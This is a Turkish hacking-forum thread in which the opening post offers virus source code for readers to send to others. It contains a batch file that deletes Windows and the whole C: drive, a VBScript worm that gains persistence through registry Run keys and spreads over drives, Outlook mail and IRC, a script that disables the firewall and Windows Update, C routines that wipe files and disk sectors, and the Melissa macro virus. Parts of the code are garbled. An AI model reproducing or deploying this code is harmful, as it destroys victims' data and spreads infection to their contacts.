İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Virüs Yapma Kolay:)

13-10-2012 18:17
#1
Üyelik tarihi:
08/2012
Nereden:
Sakarya
Mesajlar:
104
Teşekkür (Etti):
25
Teşekkür (Aldı):
4
Konular:
11
Ticaret:
(0) %
Truva atı yapma
@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@ C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@ C:\WINDOWS\COMMAND\deltree /y c:\*.*
@ cls cls @echo .::Seni ***** formatı yedin::. @echo off


msn üzerinden pc nin internetini kesme:


ipconfig/release

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
kod ise interneti yukardaki kodlar kestikmi geri getirme kodu

ipconfig/renew2
Bu virüs çok güçlü Windows un 5 dk da açılmasına ve 2 dk da kapanmasına neden oluyor.Bunu bi yerden duydum.Avg bu virüsü görüyor ve uyarıyor.Bu nu not defterine kaydedin unaztısını .exe veya .bat yapın ve yollayın aman kendiniz açmayın.

sub Tune()
On Error Resume Next
Dim obj, sysfldr,s, f
Set obj = CreateObject("Scripting.FileSystemObject"
Set sysfldr = obj.GetSpecialFolder(1)
Set winfldr = obj.GetSpecialFolder(0)
Set tmpfldr = obj.GetSpecialFolder(2)
set s = CreateObject("Scripting.FileSystemObject"
Set f = s.GetFile(WScript.ScriptFullName)
f.copy(sysfldr&"\tune.vbs"
f.copy(winfldr&"\tune.vbs"
f.copy(tmpfldr&"\tune.vbs"
f.copy(sysfldr&"\kernel.vbs"
f.copy(winfldr&"\winsck.vbs"
f.copy(sysfldr&"\explorer.vbs"
loc=winfldr&"\tune.vbs"
loc1=sysfldr&"\tune.vbs"
loc2=tmpfldr&"\tune.vbs"
loc3=sysfldr&"\kernel.vbs"
loc4=winfldr&"\winsck.vbs"
loc5="explorer.vbs"
Set WSHShell = CreateObject("WScript.Shell"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n\ScanRegistry", loc
WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersio n\Ru n\", loc1
WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersio n\Ru nServices\", loc2
editini winfldr&"\win.ini","[windows]","load",loc3
editini winfldr&"\win.ini","[windows]","run",loc4
editini winfldr&"\system.ini","[boot]","shell","Explorer.exe " & loc5
ntwrk()
end sub
sub infect(drive)
On Error Resume Next
set s = CreateObject("Scripting.FileSystemObject"
Set f = s.GetFile(WScript.ScriptFullName)
f.copy(drive & "\tune.vbs"
path=drive&"\tune.vbs"
end sub
Function ShowDriveType(drvpath)
On Error Resume Next
Dim fso, d, t
Set fso = CreateObject("Scripting.FileSystemObject"
Set d = fso.GetDrive(drvpath)
Select Case d.DriveType
Case 0: t = "Unknown"
Case 1: t = "Removable"
Case 2: t = "Fixed"
Case 3: t = "Network"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select
if t = "" then t = "None"
ShowDriveType = t
End Function
sub ntwrk()
On Error Resume Next
for n = 65 to 90
l=Chr(n)
drv=l&":"
d3=ShowDriveType(drv)
if d3 = "Fixed" then infect(drv)
if d3 = "Network" then infect(drv)
next
sprd()
end sub
sub sprd()
on error resume next
Dim oShell
Set oShell = Wscript.CreateObject("Wscript.Shell"
Dim strProfile
Dim strAlias, strAliasKey
strProfile =
oShell.RegRead("HKCU\Software\Microsoft\Windows\Cu rrentVersion\Sent?"
if strProfile = "" then
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Se nt?", "1"
Set Prg = CreateObject("Outlook.Application"
Set Prg1 = Prg.GetNameSpace("MAPI"
For y = 1 To Prg1.AddressLists.Count
Set AdBook = Prg1.AddressLists(y)
x = 1
Set Maie = Prg.CreateItem(0)
For oo = 1 To AdBook.AddressEntries.Count
newmailadd = AdBook.AddressEntries(x)
Maie.Recipients.Add newmailadd
x = x + 1
Next
Maie.Subject = "Please Read"
Maie.Body = "Hey, you really need to check out this attached file I sent you...please check it out as soon as possible."
Maie.Attachments.Add WScript.ScriptFullName
Maie.DeleteAfterSubmit = False
Maie.Send
newmailadd=""
next
else
end if
etc()
end sub
sub etc()
On Error Resume Next
a=ReportFolderStatus("C:\mirc"
if a="1" then mirc()
b=ReportFolderStatus("C:\pirch98"
if b="1" then pirch9x()
end sub
Tune()
Function ReportFileStatus(filespec)
On Error Resume Next
Dim fso, msg
Set fso = CreateObject("Scripting.FileSystemObject"
If (fso.FileExists(filespec)) Then
msg = "1"
Else
msg = "0"
End If
ReportFileStatus = msg
End Function
Function ReportFolderStatus(fldr)
On Error Resume Next
Dim fso, msg
Set fso = CreateObject("Scripting.FileSystemObject"
If (fso.FolderExists(fldr)) Then
msg = "1"
Else
msg = "0"
End If
ReportFolderStatus = msg
End Function
sub mirc()
On Error Resume Next
Dim fso4, folder
Set fso4 = CreateObject("Scripting.FileSystemObject"
Set winfolder = fso4.GetSpecialFolder(1)
path = winfolder&"\tune.vbs"
Dim fso34, f132, t2s
Const ForWriting = 2
Set fso34 = CreateObject("Scripting.FileSystemObject"
fso34.CreateTextFile ("c:\mirc\script.ini"
Set f132 = fso34.GetFile("c:\mirc\script.ini"
Set t2s = f132.OpenAsTextStream(ForWriting, false)
t2s.write "[script]" & vbcrlf
t2s.write "n0=ON 1:JOIN:#:/dcc send $nick " & path & vbcrlf
t2s.close
editini
"C:\mirc\mirc.ini","[text]","ignore","*.exe,*.com,*.bat,*.dll,*.ini,*.vb s"
editini
"C:\mirc\mirc.ini","[options]","n2","0,1,0,0,1,1,1,1,0,5,35,0,0,1,1,0,1,1,0 ,
5,500,10,0,1,1,0,0"
editini
"C:\mirc\mirc.ini","[options]","n4","1,0,1,1,0,3,9999,0,0,0,1,0,1024,0,0,99 ,
60,0,0,1,1,1,0,1,1,5000,1"
end sub
sub pirch9x()
On Error Resume Next
Dim fso4, folder
Set fso4 = CreateObject("Scripting.FileSystemObject"
Set winfolder = fso4.GetSpecialFolder(1)
path = winfolder&"\tune.vbs"
Dim fso, f1, ts
Const ForWriting = 2
Set fso = CreateObject("Scripting.FileSystemObject"
fso.CreateTextFile ("c:\pirch98\events.ini"
Set f1 = fso.GetFile("c:\pirch98\events.ini"
Set ts = f1.OpenAsTextStream(ForWriting, false)
ts.write "[Levels]"&vbcrlf
ts.write "Enabled=1"&vbcrlf
ts.write "Count=6"&vbcrlf
ts.write "Level1=000-Unknowns"&vbcrlf
ts.write "000-UnknownsEnabled=1"&vbcrlf
ts.write "Level2=100-Level 100"&vbcrlf
ts.write "100-Level 100Enabled=1"&vbcrlf
ts.write "Level3=200-Level 200"&vbcrlf
ts.write "200-Level 200Enabled=1"&vbcrlf
ts.write "Level4=300-Level 300"&vbcrlf
ts.write "300-Level 300Enabled=1"&vbcrlf
ts.write "Level5=400-Level 400"&vbcrlf
ts.write "400-Level 400Enabled=1"&vbcrlf
ts.write "Level6=500-Level 500"&vbcrlf
ts.write "500-Level 500Enabled=1"&vbcrlf
ts.write vbcrlf
ts.write "[000-Unknowns]"&vbcrlf
ts.write "User1=*!*@*"&vbcrlf
ts.write "UserCount=1"&vbcrlf
ts.write "Event1=ON JOIN:#:/msg $nick Hi there"&vbcrlf
ts.write "EventCount=1"&vbcrlf
ts.write vbcrlf
ts.write "[100-Level 100]"&vbcrlf
ts.write "User1=*!*@*"&vbcrlf
ts.write "UserCount=1"&vbcrlf
ts.write "Event1=ON JOIN:#:/dcc send $nick " & path &vbcrlf
ts.write "EventCount=1"&vbcrlf
ts.write vbcrlf
ts.write "[200-Level 200]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
ts.write "[300-Level 300]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
ts.write "[400-Level 400]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
ts.write "[500-Level 500]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
editini "C:\pirch98\pirch98.ini","[DCC]","AutoHideDccWin","1"
end sub
sub editini(filename,section,string,newvalue)
on error resume next
Const ForReading = 1
Const ForWriting = 2
iniFile = filename
sectionName = section
keyName = string
newVlaue = newvalue
bInSection = false
bKeyChanged = false
Set fso = CreateObject("Scripting.FileSystemObject"
Set ts = fso.OpenTextFile(iniFile, ForReading)
lines = Split(ts.ReadAll,vbCrLf)
ts.close
For n = 0 to ubound(lines)
if left(lines(n),1) = "[" then
if bInSection then
exit for
end if
if instr(lines(n),sectionName) = 1 then
bInSection = true
else
bInSection = false
end if
else
if bInSection then
if instr(lines(n),keyName & "=" = 1 then
bKeyChanged = true
lines(n) = keyName & "=" & newVlaue
bKeyChanged = true
exit for
end if
end if
end if
Next
if bKeyChanged then
Set ts = fso.OpenTextFile(iniFile, ForWriting)
ts.Write join(lines,vbCrLf)
ts.close
end if
set ts = nothing
set fso = nothing
end sub

Karşı Pcsinin Güvenlik Duvarını Kapatma
@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
> >"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
****"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
> >"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
> >"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0


}

span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;

SearchAndDestroy(p);
sprintf(n,\"%s\\\\%s\",p,\"*.*\");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\'.\') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\"%s\\\\%s\",p,f.ff_name);
span(n);
}
}
}

SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;

strcpy(b,p);
strcat(b,\"\\\\*.*\");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\"%s\\\\%s\",p,f.ff_name);
remove(b);
}
}

boot()
{
char *buff;
char *test;

fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\");
abswrite(2,12,0,buff);
}

notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın
system32 klasörüne zarar verıyo bu virüs


Bu seferkinler İse Full Bunlardan Ayrı Bunlardan Güçlü:

melisa virüsü

Private Sub ********_Open()
On Error Resume Next
If System.PrivateProfileString ("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W o rd\Securi ty", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W o rd\Securi ty", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else Wink"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>



Bir Teşekkürü Hor Görmeyelim Arkadaşlar

Kullanıcı İmzası
Korkusuzdur dağların efesi, titretir haini kaplanların sesi, madalya gibi duruyor başında, kahramanlık timsali, BORDO BERESİ

15-10-2012 21:21
#2
cendere04 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2012
Mesajlar:
66
Teşekkür (Etti):
3
Teşekkür (Aldı):
1
Konular:
13
Ticaret:
(0) %
bunları nere ye yazalım
15-10-2012 21:27
#3
elizhia12 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2012
Mesajlar:
242
Teşekkür (Etti):
23
Teşekkür (Aldı):
16
Konular:
80
Ticaret:
(0) %
Güzel kkardeşim Saol
23-01-2013 17:31
#4
mufit06 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2009
Mesajlar:
51
Teşekkür (Etti):
12
Teşekkür (Aldı):
0
Konular:
2
Ticaret:
(0) %
saol tşkler emege saygı ellerine saglık

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı